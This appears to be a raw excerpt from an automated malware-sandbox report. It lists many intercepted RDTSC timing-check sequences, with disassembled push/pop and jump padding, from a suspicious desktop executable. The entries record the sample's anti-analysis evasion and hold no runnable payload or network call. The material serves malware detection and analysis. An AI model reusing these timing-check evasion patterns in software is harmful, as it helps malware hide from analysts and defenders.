Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E98C62 second address: E98C6E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCA18C4F696h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E98C6E second address: E98C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9C39D second address: E9C3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18C4F6A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9C3B3 second address: E9C3B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9C3B7 second address: E9C3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCA18C4F6A0h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9C80C second address: E9C829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E9CC1D second address: E9CC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA453A second address: EA453E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA453E second address: EA4561 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FCA18C4F6A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA308B second address: EA30A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a jbe 00007FCA18DB50E6h 0x00000010 pop edx 0x00000011 popad 0x00000012 jng 00007FCA18DB50F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA30A9 second address: EA30AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3649 second address: EA365C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50EBh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA365C second address: EA3669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FCA18C4F696h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3F5C second address: EA3F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3F64 second address: EA3F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3F68 second address: EA3F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3F71 second address: EA3F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA3F7F second address: EA3F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FCA18DB50E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA4253 second address: EA4257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA4257 second address: EA425B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA425B second address: EA4267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCA18C4F696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EA4267 second address: EA426C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EAC987 second address: EAC99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FCA18C4F696h 0x0000000a je 00007FCA18C4F696h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EACAF3 second address: EACAFC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EACF06 second address: EACF1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F69Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EACF1D second address: EACF21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EAD2C8 second address: EAD2EB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCA18C4F696h 0x00000008 jmp 00007FCA18C4F6A9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EAD2EB second address: EAD311 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCA18DB50EEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FCA18DB50EFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EAD311 second address: EAD31F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCA18C4F696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB4B5A second address: EB4B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB4B60 second address: EB4B6A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCA18C4F696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB4D29 second address: EB4D2E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB4D2E second address: EB4D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB527A second address: EB5280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB5280 second address: EB5286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB5286 second address: EB52A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FCA18DB50EFh 0x0000000d jc 00007FCA18DB50E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB52A4 second address: EB52A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB52A9 second address: EB52B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB5463 second address: EB5469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB5898 second address: EB58B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FCA18DB50F5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB58B8 second address: EB58C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB45FC second address: EB461D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FCA18DB50F8h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB461D second address: EB4623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EB4623 second address: EB464D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 js 00007FCA18DB50E6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA853 second address: EBA86B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA86B second address: EBA871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA871 second address: EBA890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FCA18C4F69Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FCA18C4F69Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA890 second address: EBA894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA894 second address: EBA89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA89A second address: EBA8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBA8A3 second address: EBA8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FCA18C4F696h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E0D625 second address: E0D636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FCA18DB50E6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBD5EA second address: EBD61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCA18C4F696h 0x0000000a je 00007FCA18C4F696h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FCA18C4F6A9h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBD77E second address: EBD78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EBD78A second address: EBD7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FCA18C4F6B0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: ECA6FF second address: ECA704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: ECE3A2 second address: ECE3B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCA18C4F69Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: ECE0C1 second address: ECE0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FCA18DB50E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: ED4E6B second address: ED4E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FCA18C4F69Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E0833D second address: E08378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCA18DB50F3h 0x0000000e jmp 00007FCA18DB50F7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E08378 second address: E08393 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FCA18C4F6BCh 0x0000000e jng 00007FCA18C4F698h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EDD887 second address: EDD8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50EFh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EDD8A2 second address: EDD8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EDD8A7 second address: EDD8B9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCA18DB50ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE14EC second address: EE14F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE14F2 second address: EE14F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE14F6 second address: EE14FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE648B second address: EE648F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE648F second address: EE6493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE6BD6 second address: EE6BF7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCA18DB50E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCA18DB50F7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE6BF7 second address: EE6BFC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EE6BFC second address: EE6C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCA18DB50E6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EEB176 second address: EEB182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCA18C4F696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: EEB182 second address: EEB195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 ja 00007FCA18DB50F0h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08A12 second address: F08A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FCA18C4F696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08A1C second address: F08A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08A20 second address: F08A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08A26 second address: F08A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08A2F second address: F08A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08879 second address: F0887D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0887D second address: F08883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F08883 second address: F088A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F088A2 second address: F088A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F088A6 second address: F088AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F088AA second address: F088BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FCA18C4F698h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0A796 second address: F0A7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F1h 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0A7AF second address: F0A7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0A7B8 second address: F0A7BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0D8B7 second address: F0D8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0D8BB second address: F0D8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0D8C6 second address: F0D8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FCA18C4F696h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FCA18C4F696h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F0D8D9 second address: F0D8E3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCA18DB50E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F21DA8 second address: F21DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F21DAE second address: F21DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F21DB8 second address: F21DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20C3C second address: F20C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: F20C44 second address: F20C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007FCA18C4F69Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
